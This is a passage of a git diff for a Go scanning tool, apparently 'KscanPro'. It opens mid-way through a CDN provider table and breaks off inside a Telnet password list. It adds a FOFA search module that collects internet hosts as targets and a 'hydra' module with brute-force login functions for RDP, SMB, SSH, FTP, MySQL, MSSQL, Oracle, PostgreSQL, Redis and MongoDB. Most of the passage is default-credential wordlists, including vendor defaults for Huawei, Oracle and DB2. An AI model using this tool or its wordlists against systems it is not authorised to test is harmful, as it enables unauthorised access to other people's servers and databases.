+ {"sinacdn.com", "新浪云 CDN", "https://www.sinacloud.com/doc/sae/php/cdn.html"},
+ {"sinasws.com", "新浪云 CDN", "https://www.sinacloud.com/doc/sae/php/cdn.html"},
+ {"saebbs.com", "新浪云 SAE 云引擎", "https://www.sinacloud.com/doc/sae/php/cdn.html"},
+ {"websitecname.cn", "美橙互联旗下建站之星", "https://www.sitestar.cn"},
+ {"cdncenter.cn", "美橙互联CDN", "https://www.cndns.com"},
+ {"vhostgo.com", "西部数码虚拟主机", "https://www.west.cn"},
+ {"jsd.cc", "上海云盾YUNDUN", "https://www.yundun.com"},
+ {"powercdn.cn", "动力在线CDN", "http://www.powercdn.com"},
+ {"21vokglb.cn", "世纪互联云快线业务", "https://www.21vianet.com"},
+ {"21vianet.com.cn", "世纪互联云快线业务", "https://www.21vianet.com"},
+ {"21okglb.cn", "世纪互联云快线业务", "https://www.21vianet.com"},
+ {"21speedcdn.com", "世纪互联云快线业务", "https://www.21vianet.com"},
+ {"21cvcdn.com", "世纪互联云快线业务", "https://www.21vianet.com"},
+ {"okcdn.com", "世纪互联云快线业务", "https://www.21vianet.com"},
+ {"okglb.com", "世纪互联云快线业务", "https://www.21vianet.com"},
+ {"cdnetworks.net", "北京同兴万点网络技术", "http://www.txnetworks.cn/"},
+ {"txnetworks.cn", "北京同兴万点网络技术", "http://www.txnetworks.cn/"},
+ {"cdnnetworks.com", "北京同兴万点网络技术", "http://www.txnetworks.cn/"},
+ {"txcdn.cn", "北京同兴万点网络技术", "http://www.txnetworks.cn/"},
+ {"cdnunion.net", "宝腾互联旗下上海万根网络(CDN 联盟)", "http://www.cdnunion.com"},
+ {"cdnunion.com", "宝腾互联旗下上海万根网络(CDN 联盟)", "http://www.cdnunion.com"},
+ {"mygslb.com", "宝腾互联旗下上海万根网络(YaoCDN)", "http://www.vangen.cn"},
+ {"cdnudns.com", "宝腾互联旗下上海万根网络(YaoCDN)", "http://www.vangen.cn"},
+ {"sprycdn.com", "宝腾互联旗下上海万根网络(YaoCDN)", "http://www.vangen.cn"},
+ {"chuangcdn.com", "创世云融合 CDN", "https://www.chuangcache.com/index.html"},
+ {"aocde.com", "创世云融合 CDN", "https://www.chuangcache.com"},
+ {"ctxcdn.cn", "中国电信天翼云CDN", "https://www.ctyun.cn/product2/#/product/10027560"},
+ {"yfcdn.net", "云帆加速CDN", "https://www.yfcloud.com"},
+ {"mmycdn.cn", "蛮蛮云 CDN(中联利信)", "https://www.chinamaincloud.com/cloudDispatch.html"},
+ {"chinamaincloud.com", "蛮蛮云 CDN(中联利信)", "https://www.chinamaincloud.com/cloudDispatch.html"},
+ {"cnispgroup.com", "中联数据(中联利信)", "http://www.cnispgroup.com/"},
+ {"cdnle.com", "新乐视云联(原乐视云)CDN", "http://www.lecloud.com/zh-cn"},
+ {"gosuncdn.com", "高升控股CDN技术", "http://www.gosun.com"},
+ {"mmtrixopt.com", "mmTrix性能魔方(高升控股旗下)", "http://www.mmtrix.com"},
+ {"cloudfence.cn", "蓝盾云CDN", "https://www.cloudfence.cn/#/cloudWeb/yaq/yaqyfx"},
+ {"ngaagslb.cn", "新流云(新流万联)", "https://www.ngaa.com.cn"},
+ {"p2cdn.com", "星域云P2P CDN", "https://www.xycloud.com"},
+ {"00cdn.com", "星域云P2P CDN", "https://www.xycloud.com"},
+ {"sankuai.com", "美团云(三快科技)负载均衡", "https://www.mtyun.com"},
+ {"lccdn.org", "领智云 CDN(杭州领智云画)", "http://www.linkingcloud.com"},
+ {"nscloudwaf.com", "绿盟云 WAF", "https://cloud.nsfocus.com"},
+ {"2cname.com", "网堤安全", "https://www.ddos.com"},
+ {"ucloudgda.com", "UCloud 罗马 Rome 全球网络加速", "https://www.ucloud.cn/site/product/rome.html"},
+ {"google.com", "Google Web 业务", "https://lab.skk.moe/cdn"},
+ {"1e100.net", "Google Web 业务", "https://lab.skk.moe/cdn"},
+ {"ncname.com", "NodeCache", "https://www.nodecache.com"},
+ {"alipaydns.com", "蚂蚁金服旗下业务地域负载均衡系统", "https://lab.skk.moe/cdn/"},
+ {"wscloudcdn.com", "全速云(网宿)CloudEdge 云加速", "https://www.quansucloud.com/product.action?product.id=270"},
+}
diff --git a/core/fofa/fofa.go b/core/fofa/fofa.go
new file mode 100644
index 0000000..c391197
--- /dev/null
+++ b/core/fofa/fofa.go
@@ -0,0 +1,118 @@
+package fofa
+
+import (
+ "KscanPro/app"
+ "KscanPro/core/slog"
+ "KscanPro/lib/color"
+ "KscanPro/lib/fofa"
+ "KscanPro/lib/misc"
+ "fmt"
+ "regexp"
+ "strconv"
+ "strings"
+)
+
+var this *fofa.Client
+var keywordSlice []string
+var results []fofa.Result
+
+func Init(email, key string) {
+ //设置日志输出器
+ fofa.SetLogger(slog.Debug())
+ //初始化fofa模块
+ this = fofa.New(email, key)
+ this.SetSize(app.Setting.FofaSize)
+ //获取所有关键字
+ keywordSlice = makeKeywordSlice()
+}
+
+func Run() {
+ //对每个关键字进行查询
+ for _, keyword := range keywordSlice {
+ slog.Printf(slog.WARN, "本次搜索关键字为:%v", keyword)
+ size, r := this.Search(keyword)
+ displayResponse(r)
+ slog.Printf(slog.INFO, "本次搜索,返回结果总条数为:%d,此次返回条数为:%d", size, len(r))
+ results = append(results, r...)
+ }
+}
+
+func makeKeywordSlice() []string {
+ var keywordSlice []string
+ if app.Setting.FofaFixKeyword == "" {
+ keywordSlice = app.Setting.Fofa
+ } else {
+ for _, keyword := range app.Setting.Fofa {
+ keyword = strings.ReplaceAll(app.Setting.FofaFixKeyword, "{}", keyword)
+ keywordSlice = append(keywordSlice, keyword)
+ }
+ }
+ return keywordSlice
+}
+
+func GetUrlTarget() []string {
+ var strSlice []string
+ for _, r := range results {
+ Fix(&r)
+ strSlice = append(strSlice, r.Host)
+ }
+ strSlice = misc.RemoveDuplicateElement(strSlice)
+ return strSlice
+}
+
+func GetHostTarget() []string {
+ var strSlice []string
+ for _, r := range results {
+ strSlice = append(strSlice, r.Ip)
+ }
+ strSlice = misc.RemoveDuplicateElement(strSlice)
+ return strSlice
+}
+
+func displayResponse(r []fofa.Result) {
+ for _, row := range r {
+ Fix(&row)
+ m := row.Map()
+ m["Header"] = ""
+ m["Cert"] = ""
+ m["Title"] = row.Title
+ m["Host"] = ""
+ m["As_organization"] = ""
+ if m["Domain"] == "" {
+ m["Ip"] = ""
+ }
+ m["Port"] = ""
+ m["Country_name"] = ""
+ m = misc.FixMap(m)
+ if m["Banner"] != "" {
+ m["Banner"] = misc.FixLine(m["Banner"])
+ m["Banner"] = misc.StrRandomCut(m["Banner"], 20)
+ }
+
+ line := fmt.Sprintf("%-30v %-"+strconv.Itoa(misc.AutoWidth(row.Title, 26))+"v %v",
+ row.Host,
+ row.Title,
+ color.StrMapRandomColor(m, app.Setting.CloseColor, []string{"Server"}, []string{}),
+ )
+ slog.Println(slog.DATA, line)
+ }
+}
+
+func Fix(r *fofa.Result) {
+ //修复title
+ if r.Title == "" && r.Protocol != "" {
+ r.Title = strings.ToUpper(r.Protocol)
+ }
+ r.Title = misc.FixLine(r.Title)
+ //修改host
+ if r.Host == "" {
+ r.Host = r.Ip
+ }
+
+ if regexp.MustCompile("\\w+://.*").MatchString(r.Host) == false {
+ if r.Host == "" {
+ r.Protocol = "http"
+ }
+ r.Host = r.Protocol + "://" + r.Host
+ }
+}
diff --git a/core/fofa/fofa_test.go b/core/fofa/fofa_test.go
new file mode 100644
index 0000000..d2f6dce
--- /dev/null
+++ b/core/fofa/fofa_test.go
@@ -0,0 +1 @@
+package fofa
diff --git a/core/hydra/cracker.go b/core/hydra/cracker.go
new file mode 100644
index 0000000..c04c117
--- /dev/null
+++ b/core/hydra/cracker.go
@@ -0,0 +1,102 @@
+package hydra
+
+import (
+ "KscanPro/core/hydra/ftp"
+ "KscanPro/core/hydra/mongodb"
+ "KscanPro/core/hydra/mssql"
+ "KscanPro/core/hydra/mysql"
+ "KscanPro/core/hydra/oracle"
+ "KscanPro/core/hydra/postgresql"
+ "KscanPro/core/hydra/rdp"
+ "KscanPro/core/hydra/redis"
+ "KscanPro/core/hydra/smb"
+ "KscanPro/core/hydra/ssh"
+ "KscanPro/core/hydra/telnet"
+ "KscanPro/core/hydra/web"
+ "KscanPro/lib/gotelnet"
+ "KscanPro/lib/grdp"
+ "fmt"
+)
+
+func rdpCracker(IPAddr string, port int) func(interface{}) error {
+ target := fmt.Sprintf("%s:%d", IPAddr, port)
+ protocol := grdp.VerifyProtocol(target)
+ //slog.Println(slog.DEBUG, "rdp protocol is :", protocol)
+ return func(i interface{}) error {
+ info := i.(AuthInfo)
+ domain := ""
+ return rdp.Check(info.IPAddr, domain, info.Auth.Username, info.Auth.Password, info.Port, protocol)
+ }
+}
+
+func smbCracker(i interface{}) error {
+ info := i.(AuthInfo)
+ domain := ""
+ return smb.Check(info.IPAddr, domain, info.Auth.Username, info.Auth.Password, info.Port)
+}
+
+func webCracker(i interface{}) error {
+ info := i.(AuthInfo)
+ domain := ""
+ return web.Check(info.IPAddr, domain, info.Auth.Username, info.Auth.Password, info.Port)
+}
+
+func sshCracker(i interface{}) error {
+ info := i.(AuthInfo)
+ return ssh.Check(info.IPAddr, info.Auth.Username, info.Auth.Password, info.Port)
+}
+
+func telnetCracker(serverType int) func(interface{}) error {
+ return func(i interface{}) error {
+ info := i.(AuthInfo)
+ return telnet.Check(info.IPAddr, info.Auth.Username, info.Auth.Password, info.Port, serverType)
+ }
+}
+
+func getTelnetServerType(ip string, port int) int {
+ client := gotelnet.New(ip, port)
+ err := client.Connect()
+ if err != nil {
+ return gotelnet.Closed
+ }
+ defer client.Close()
+ return client.MakeServerType()
+}
+
+func mysqlCracker(i interface{}) error {
+ info := i.(AuthInfo)
+ return mysql.Check(info.IPAddr, info.Auth.Username, info.Auth.Password, info.Port)
+}
+
+func mssqlCracker(i interface{}) error {
+ info := i.(AuthInfo)
+ return mssql.Check(info.IPAddr, info.Auth.Username, info.Auth.Password, info.Port)
+}
+
+func redisCracker(i interface{}) error {
+ info := i.(AuthInfo)
+ return redis.Check(info.IPAddr, info.Auth.Password, info.Port)
+}
+
+func ftpCracker(i interface{}) error {
+ info := i.(AuthInfo)
+ return ftp.Check(info.IPAddr, info.Auth.Username, info.Auth.Password, info.Port)
+}
+
+func postgresqlCracker(i interface{}) error {
+ info := i.(AuthInfo)
+ return postgresql.Check(info.IPAddr, info.Auth.Username, info.Auth.Password, info.Port)
+}
+
+func oracleCracker(sid string) func(interface{}) error {
+ return func(i interface{}) error {
+ info := i.(AuthInfo)
+ info.Auth.Other["SID"] = sid
+ return oracle.Check(info.IPAddr, info.Auth.Username, info.Auth.Password, info.Port, sid)
+ }
+}
+
+func mongodbCracker(i interface{}) error {
+ info := i.(AuthInfo)
+ return mongodb.Check(info.IPAddr, info.Auth.Username, info.Auth.Password, info.Port)
+}
diff --git a/core/hydra/default_ftp_authlist.go b/core/hydra/default_ftp_authlist.go
new file mode 100644
index 0000000..b50065c
--- /dev/null
+++ b/core/hydra/default_ftp_authlist.go
@@ -0,0 +1,85 @@
+package hydra
+
+func DefaultFtpList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "anonymous",
+ "ftp",
+ "test",
+ "web",
+ //"admin",
+ //"test",
+ //"user",
+ //"root",
+ //"manager",
+ //"webadmin",
+ }
+ a.Password = []string{
+ "",
+ "123456",
+ "zaq1@WSX",
+ "%user%",
+ "%user%123",
+ "%user%1234",
+ "%user%123456",
+ "%user%12345",
+ "%user%@123",
+ "%user%@123456",
+ "%user%@12345",
+ "%user%#123",
+ "%user%#123456",
+ "%user%#12345",
+ "%user%_123",
+ "%user%_123456",
+ "%user%_12345",
+ "%user%123!@#",
+ "%user%!@#$",
+ "%user%!@#",
+ "%user%~!@",
+ "%user%!@#123",
+ "%user%2022",
+ "%user%2021",
+ "%user%2020",
+ "%user%2019",
+ "%user%2018",
+ "%user%2017",
+ "%user%2016",
+ "%user%2015",
+ "%user%@2017",
+ "%user%@2016",
+ "%user%@2015",
+ "qweasdzxc",
+ "Passw0rd",
+ "password",
+ "12345",
+ "1234",
+ "123",
+ "qwerty",
+ "1q2w3e4r",
+ "1qaz2wsx",
+ "qazwsx",
+ "123qwe",
+ "123qaz",
+ "0000",
+ "1234567",
+ "123456qwerty",
+ "password123",
+ "12345678",
+ "1q2w3e",
+ "abc123",
+ "test123",
+ "123456789",
+ "q1w2e3r4",
+ //"okmnji",
+ //"postgres",
+ //"test",
+ //"user",
+ }
+ a.Special = []Auth{
+ NewSpecialAuth("anonymous", "anonymous"),
+ NewSpecialAuth("ftp", "ftp"),
+ NewSpecialAuth("admin", "admin"),
+ NewSpecialAuth("admin", "123456"),
+ }
+ return a
+}
diff --git a/core/hydra/default_mssql_authlist.go b/core/hydra/default_mssql_authlist.go
new file mode 100644
index 0000000..db879ec
--- /dev/null
+++ b/core/hydra/default_mssql_authlist.go
@@ -0,0 +1,80 @@
+package hydra
+
+func DefaultMssqlList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "sa",
+ //"admin",
+ //"test",
+ //"user",
+ //"root",
+ //"manager",
+ //"webadmin",
+ }
+ a.Password = []string{
+ "",
+ "123456",
+ "zaq1@WSX",
+ "%user%",
+ "%user%123",
+ "%user%1234",
+ "%user%123456",
+ "%user%12345",
+ "%user%@123",
+ "%user%@123456",
+ "%user%@12345",
+ "%user%#123",
+ "%user%#123456",
+ "%user%#12345",
+ "%user%_123",
+ "%user%_123456",
+ "%user%_12345",
+ "%user%123!@#",
+ "%user%!@#$",
+ "%user%!@#",
+ "%user%~!@",
+ "%user%!@#123",
+ "%user%2022",
+ "%user%2021",
+ "%user%2020",
+ "%user%2019",
+ "%user%2018",
+ "%user%2017",
+ "%user%2016",
+ "%user%2015",
+ "%user%@2017",
+ "%user%@2016",
+ "%user%@2015",
+ "qweasdzxc",
+ "Passw0rd",
+ "password",
+ "12345",
+ "1234",
+ "123",
+ "qwerty",
+ "1q2w3e4r",
+ "1qaz2wsx",
+ "qazwsx",
+ "123qwe",
+ "123qaz",
+ "0000",
+ "1234567",
+ "123456qwerty",
+ "password123",
+ "12345678",
+ "1q2w3e",
+ "abc123",
+ "test123",
+ "123456789",
+ "q1w2e3r4",
+ //"okmnji",
+ //"postgres",
+ //"test",
+ //"user",
+ }
+ a.Special = []Auth{
+ NewSpecialAuth("test", "test"),
+ NewSpecialAuth("test", "123456"),
+ }
+ return a
+}
diff --git a/core/hydra/default_mysql_authlist.go b/core/hydra/default_mysql_authlist.go
new file mode 100644
index 0000000..dd89e32
--- /dev/null
+++ b/core/hydra/default_mysql_authlist.go
@@ -0,0 +1,80 @@
+package hydra
+
+func DefaultMysqlList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "root",
+ //"admin",
+ //"test",
+ //"user",
+ //"root",
+ //"manager",
+ //"webadmin",
+ }
+ a.Password = []string{
+ "",
+ "123456",
+ "zaq1@WSX",
+ "%user%",
+ "%user%123",
+ "%user%1234",
+ "%user%123456",
+ "%user%12345",
+ "%user%@123",
+ "%user%@123456",
+ "%user%@12345",
+ "%user%#123",
+ "%user%#123456",
+ "%user%#12345",
+ "%user%_123",
+ "%user%_123456",
+ "%user%_12345",
+ "%user%123!@#",
+ "%user%!@#$",
+ "%user%!@#",
+ "%user%~!@",
+ "%user%!@#123",
+ "%user%2022",
+ "%user%2021",
+ "%user%2020",
+ "%user%2019",
+ "%user%2018",
+ "%user%2017",
+ "%user%2016",
+ "%user%2015",
+ "%user%@2017",
+ "%user%@2016",
+ "%user%@2015",
+ "qweasdzxc",
+ "Passw0rd",
+ "password",
+ "12345",
+ "1234",
+ "123",
+ "qwerty",
+ "1q2w3e4r",
+ "1qaz2wsx",
+ "qazwsx",
+ "123qwe",
+ "123qaz",
+ "0000",
+ "1234567",
+ "123456qwerty",
+ "password123",
+ "12345678",
+ "1q2w3e",
+ "abc123",
+ "test123",
+ "123456789",
+ "q1w2e3r4",
+ //"okmnji",
+ //"postgres",
+ //"test",
+ //"user",
+ }
+ a.Special = []Auth{
+ NewSpecialAuth("test", "test"),
+ NewSpecialAuth("test", "123456"),
+ }
+ return a
+}
diff --git a/core/hydra/default_oracle_authlist.go b/core/hydra/default_oracle_authlist.go
new file mode 100644
index 0000000..4e17da8
--- /dev/null
+++ b/core/hydra/default_oracle_authlist.go
@@ -0,0 +1,51 @@
+package hydra
+
+func DefaultOracleList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "sys",
+ "system",
+ "admin",
+ "test",
+ "web",
+ "orcl",
+ }
+ a.Password = []string{
+ "123456",
+ "abc123",
+ "okmnji",
+ }
+ a.Special = []Auth{
+ NewSpecialAuth("internal", "oracle"),
+ NewSpecialAuth("system", "manager"),
+ NewSpecialAuth("system", "oracle"),
+ NewSpecialAuth("sys", "change_on_install"),
+ NewSpecialAuth("SYS", "CHANGE_ON_INSTALLorINTERNAL"),
+ NewSpecialAuth("SYSTEM", "MANAGER"),
+ NewSpecialAuth("OUTLN", "OUTLN"),
+ NewSpecialAuth("SCOTT", "TIGER"),
+ NewSpecialAuth("ADAMS", "WOOD"),
+ NewSpecialAuth("JONES", "STEEL"),
+ NewSpecialAuth("CLARK", "CLOTH"),
+ NewSpecialAuth("BLAKE", "PAPER."),
+ NewSpecialAuth("HR", "HR"),
+ NewSpecialAuth("OE", "OE"),
+ NewSpecialAuth("SH", "SH"),
+ NewSpecialAuth("DBSNMP", "DBSNMP"),
+ NewSpecialAuth("sysman", "oem_temp"),
+ NewSpecialAuth("aqadm", "aqadm"),
+ NewSpecialAuth("ANONYMOUS", "ANONYMOUS"),
+ NewSpecialAuth("CTXSYS", "CTXSYS"),
+ NewSpecialAuth("DIP", "DIP"),
+ NewSpecialAuth("DMSYS", "DMSYS"),
+ NewSpecialAuth("EXFSYS", "EXFSYS"),
+ NewSpecialAuth("MDDATA", "MDDATA"),
+ NewSpecialAuth("MDSYS", "MDSYS"),
+ NewSpecialAuth("MGMT_VIEW", "MGMT_VIEW"),
+ NewSpecialAuth("OLAPSYS", "MANAGER"),
+ NewSpecialAuth("ORDPLUGINS", "ORDPLUGINS"),
+ NewSpecialAuth("ORDSYS", "ORDSYS"),
+ NewSpecialAuth("WK_TEST", "WK_TEXT"),
+ }
+ return a
+}
diff --git a/core/hydra/default_postgresql_authlist.go b/core/hydra/default_postgresql_authlist.go
new file mode 100644
index 0000000..e009a37
--- /dev/null
+++ b/core/hydra/default_postgresql_authlist.go
@@ -0,0 +1,83 @@
+package hydra
+
+func DefaultPostgresqlList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "postgres",
+ "test",
+ //"user",
+ //"root",
+ //"manager",
+ //"webadmin",
+ }
+ a.Password = []string{
+ "",
+ "1",
+ "123456",
+ "zaq1@WSX",
+ "%user%",
+ "%user%123",
+ "%user%1234",
+ "%user%123456",
+ "%user%12345",
+ "%user%@123",
+ "%user%@123456",
+ "%user%@12345",
+ "%user%#123",
+ "%user%#123456",
+ "%user%#12345",
+ "%user%_123",
+ "%user%_123456",
+ "%user%_12345",
+ "%user%123!@#",
+ "%user%!@#$",
+ "%user%!@#",
+ "%user%~!@",
+ "%user%!@#123",
+ "%user%2022",
+ "%user%2021",
+ "%user%2020",
+ "%user%2019",
+ "%user%2018",
+ "%user%2017",
+ "%user%2016",
+ "%user%2015",
+ "%user%@2017",
+ "%user%@2016",
+ "%user%@2015",
+ "qweasdzxc",
+ "Passw0rd",
+ "admin123!@#",
+ "admin",
+ "admin123",
+ "admin@123",
+ "admin#123",
+ "password",
+ "12345",
+ "1234",
+ "123",
+ "qwerty",
+ "1q2w3e4r",
+ "1qaz2wsx",
+ "qazwsx",
+ "123qwe",
+ "123qaz",
+ "1234567",
+ "123456qwerty",
+ "password123",
+ "12345678",
+ "1q2w3e",
+ "abc123",
+ "test123",
+ "123456789",
+ "q1w2e3r4",
+ //"0000",
+ //"root",
+ //"test",
+ //"okmnji",
+ //"postgres",
+ //"user",
+ }
+ a.Special = []Auth{}
+ return a
+}
diff --git a/core/hydra/default_rdp_authlist.go b/core/hydra/default_rdp_authlist.go
new file mode 100644
index 0000000..79e777e
--- /dev/null
+++ b/core/hydra/default_rdp_authlist.go
@@ -0,0 +1,88 @@
+package hydra
+
+func DefaultRdpList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "administrator",
+ "admin",
+ "test",
+ //"user",
+ //"root",
+ //"manager",
+ //"webadmin",
+ }
+ a.Password = []string{
+ "1",
+ "123456",
+ "zaq1@WSX",
+ "%user%",
+ "%user%123",
+ "%user%1234",
+ "%user%123456",
+ "%user%12345",
+ "%user%@123",
+ "%user%@123456",
+ "%user%@12345",
+ "%user%#123",
+ "%user%#123456",
+ "%user%#12345",
+ "%user%_123",
+ "%user%_123456",
+ "%user%_12345",
+ "%user%123!@#",
+ "%user%!@#$",
+ "%user%!@#",
+ "%user%~!@",
+ "%user%!@#123",
+ "qweasdzxc",
+ "%user%2022",
+ "%user%2021",
+ "%user%2020",
+ "%user%2019",
+ "%user%2018",
+ "%user%2017",
+ "%user%2016",
+ "%user%2015",
+ "%user%@2017",
+ "%user%@2016",
+ "%user%@2015",
+ "Passw0rd",
+ "admin123!@#",
+ "admin",
+ "admin123",
+ "admin@123",
+ "admin#123",
+ "password",
+ "12345",
+ "1234",
+ //"root",
+ "123",
+ "qwerty",
+ //"test",
+ "1q2w3e4r",
+ "1qaz2wsx",
+ "qazwsx",
+ "123qwe",
+ "123qaz",
+ "0000",
+ "1234567",
+ "123456qwerty",
+ "password123",
+ "12345678",
+ "1q2w3e",
+ "abc123",
+ "test123",
+ "123456789",
+ "q1w2e3r4",
+ //"user",
+ //"okmnji",
+ //"postgres",
+
+ }
+ a.Special = []Auth{
+ NewSpecialAuth("guest", "guest"),
+ NewSpecialAuth("guest", "123456"),
+ NewSpecialAuth("db2admin", "db2admin"),
+ }
+ return a
+}
diff --git a/core/hydra/default_redis_authlist.go b/core/hydra/default_redis_authlist.go
new file mode 100644
index 0000000..6ed69b0
--- /dev/null
+++ b/core/hydra/default_redis_authlist.go
@@ -0,0 +1,43 @@
+package hydra
+
+func DefaultRedisList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "",
+ //"admin",
+ //"test",
+ //"user",
+ //"root",
+ //"manager",
+ //"webadmin",
+ }
+ a.Password = []string{
+ "redis",
+ "123456",
+ "zaq1@WSX",
+ "qweasdzxc",
+ "Passw0rd",
+ "password",
+ "12345",
+ "1234",
+ "123",
+ "qwerty",
+ "1q2w3e4r",
+ "1qaz2wsx",
+ "qazwsx",
+ "123qwe",
+ "123qaz",
+ "0000",
+ "1234567",
+ "123456qwerty",
+ "password123",
+ "12345678",
+ "1q2w3e",
+ "abc123",
+ "test123",
+ "123456789",
+ "q1w2e3r4",
+ }
+ a.Special = []Auth{}
+ return a
+}
diff --git a/core/hydra/default_smb_authlist.go b/core/hydra/default_smb_authlist.go
new file mode 100644
index 0000000..7a6ade8
--- /dev/null
+++ b/core/hydra/default_smb_authlist.go
@@ -0,0 +1,89 @@
+package hydra
+
+func DefaultSmbList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "administrator",
+ "admin",
+ "test",
+ //"user",
+ //"root",
+ //"manager",
+ //"webadmin",
+ }
+ a.Password = []string{
+ "1",
+ "123456",
+ "zaq1@WSX",
+ "%user%",
+ "%user%123",
+ "%user%1234",
+ "%user%123456",
+ "%user%12345",
+ "%user%@123",
+ "%user%@123456",
+ "%user%@12345",
+ "%user%#123",
+ "%user%#123456",
+ "%user%#12345",
+ "%user%_123",
+ "%user%_123456",
+ "%user%_12345",
+ "%user%123!@#",
+ "%user%!@#$",
+ "%user%!@#",
+ "%user%~!@",
+ "%user%!@#123",
+ "qweasdzxc",
+ "%user%2022",
+ "%user%2021",
+ "%user%2020",
+ "%user%2019",
+ "%user%2018",
+ "%user%2017",
+ "%user%2016",
+ "%user%2015",
+ "%user%@2017",
+ "%user%@2016",
+ "%user%@2015",
+ "Passw0rd",
+ "admin123!@#",
+ "admin",
+ "admin123",
+ "admin@123",
+ "admin#123",
+ "password",
+ "12345",
+ "1234",
+ //"root",
+ "123",
+ "qwerty",
+ //"test",
+ "1q2w3e4r",
+ "1qaz2wsx",
+ "qazwsx",
+ "123qwe",
+ "123qaz",
+ "0000",
+ "1234567",
+ "123456qwerty",
+ "password123",
+ "12345678",
+ "1q2w3e",
+ "abc123",
+ //"okmnji",
+ "test123",
+ "123456789",
+ //"postgres",
+ "q1w2e3r4",
+ //"user",
+ }
+ a.Special = []Auth{
+ NewSpecialAuth("guest", "guest"),
+ NewSpecialAuth("guest", "123456"),
+ //NewSpecialAuth("db2admin", "db2admin"),
+ //NewSpecialAuth("oracle", "oracle"),
+ //NewSpecialAuth("mysql", "mysql"),
+ }
+ return a
+}
diff --git a/core/hydra/default_ssh_authlist.go b/core/hydra/default_ssh_authlist.go
new file mode 100644
index 0000000..1adb84f
--- /dev/null
+++ b/core/hydra/default_ssh_authlist.go
@@ -0,0 +1,122 @@
+package hydra
+
+func DefaultSshList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "root",
+ "admin",
+ //"test",
+ //"user",
+ //"root",
+ //"manager",
+ //"webadmin",
+ }
+ a.Password = []string{
+ "1",
+ "123456",
+ "zaq1@WSX",
+ "%user%",
+ "%user%123",
+ "%user%1234",
+ "%user%123456",
+ "%user%12345",
+ "%user%@123",
+ "%user%@123456",
+ "%user%@12345",
+ "%user%#123",
+ "%user%#123456",
+ "%user%#12345",
+ "%user%_123",
+ "%user%_123456",
+ "%user%_12345",
+ "%user%123!@#",
+ "%user%!@#$",
+ "%user%!@#",
+ "%user%~!@",
+ "%user%!@#123",
+ "%user%2022",
+ "%user%2021",
+ "%user%2020",
+ "%user%2019",
+ "%user%2018",
+ "%user%2017",
+ "%user%2016",
+ "%user%2015",
+ "%user%@2017",
+ "%user%@2016",
+ "%user%@2015",
+ "qweasdzxc",
+ "Passw0rd",
+ "admin123!@#",
+ "admin",
+ "admin123",
+ "admin@123",
+ "admin#123",
+ "password",
+ "12345",
+ "1234",
+ "123",
+ "qwerty",
+ "1q2w3e4r",
+ "1qaz2wsx",
+ "qazwsx",
+ "123qwe",
+ "123qaz",
+ "1234567",
+ "123456qwerty",
+ "password123",
+ "12345678",
+ "1q2w3e",
+ "abc123",
+ "test123",
+ "123456789",
+ "q1w2e3r4",
+ //"0000",
+ //"root",
+ //"test",
+ //"okmnji",
+ //"postgres",
+ //"user",
+ }
+ a.Special = []Auth{
+ NewSpecialAuth("db2admin", "db2admin"),
+ NewSpecialAuth("oracle", "oracle"),
+ NewSpecialAuth("mysql", "mysql"),
+ NewSpecialAuth("postgres", "postgres"),
+ NewSpecialAuth("kali", "kali"),
+ NewSpecialAuth("defaultUsername", "defaultPassword"),
+ NewSpecialAuth("admin", "Admin@huawei"),
+ NewSpecialAuth("admin", "admin@huawei.com"),
+ NewSpecialAuth("admin", "admin"),
+ NewSpecialAuth("admin", "Admin@123"),
+ NewSpecialAuth("admin", "Changeme_123"),
+ NewSpecialAuth("admin", "Admin123"),
+ NewSpecialAuth("admin", "Changeme123"),
+ NewSpecialAuth("admin", "Admin@storage"),
+ NewSpecialAuth("admin", "eSight@123"),
+ NewSpecialAuth("admin", "Cis#BigData123"),
+ NewSpecialAuth("admin", "Huawei@123"),
+ NewSpecialAuth("LogAdmin", "Changeme123"),
+ NewSpecialAuth("SystemAdmin", "Changeme123"),
+ NewSpecialAuth("OperateAdmin", "Changeme123"),
+ NewSpecialAuth("administrator", "Changeme123"),
+ NewSpecialAuth("Administrator", "Admin@9000"),
+ NewSpecialAuth("Administrator", "Changeme@321"),
+ NewSpecialAuth("api-admin", "admin@123"),
+ NewSpecialAuth("root", "admin123"),
+ NewSpecialAuth("root", "mduadmin"),
+ NewSpecialAuth("root", "Changeme_123"),
+ NewSpecialAuth("root", "admin"),
+ NewSpecialAuth("root", "adminHW"),
+ NewSpecialAuth("root", "password"),
+ NewSpecialAuth("root", "Huawei12#$"),
+ NewSpecialAuth("root", "Changeme@321"),
+ NewSpecialAuth("root", "Changeme123"),
+ NewSpecialAuth("sa", "Changeme123"),
+ NewSpecialAuth("db2inst1", "db2inst1"),
+ NewSpecialAuth("db2fenc1", "db2fenc1"),
+ NewSpecialAuth("dasusr1", "dasusr1"),
+ NewSpecialAuth("db2admin", "db2admin"),
+ }
+ return a
+}
diff --git a/core/hydra/default_telnet_authlist.go b/core/hydra/default_telnet_authlist.go
new file mode 100644
index 0000000..6d3dff4
--- /dev/null
+++ b/core/hydra/default_telnet_authlist.go
@@ -0,0 +1,117 @@
+package hydra
+
+func DefaultTelnetList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "admin",
+ "root",
+ //"test",
+ //"user",
+ //"root",
+ //"manager",
+ //"webadmin",
+ }
+ a.Password = []string{
+ "1",
+ "123456",
+ //"zaq1@WSX",
+ //"%user%",
+ //"%user%123",
+ //"%user%1234",
+ //"%user%123456",
+ //"%user%12345",
+ //"%user%@123",
+ //"%user%@123456",
+ //"%user%@12345",
+ //"%user%#123",
+ //"%user%#123456",
+ //"%user%#12345",
+ //"%user%_123",
+ //"%user%_123456",
+ //"%user%_12345",
+ //"%user%123!@#",
+ //"%user%!@#$",
+ //"%user%!@#",
+ //"%user%~!@",
+ //"%user%!@#123",
+ //"%user%2022",
+ //"%user%2021",
+ //"%user%2020",
+ //"%user%2019",
+ //"%user%2018",
+ //"%user%2017",
+ //"%user%2016",
+ //"%user%2015",
+ //"%user%@2017",
+ //"%user%@2016",
+ //"%user%@2015",
+ //"qweasdzxc",
+ //"Passw0rd",
+ //"admin123!@#",
+ //"admin",
+ //"admin123",
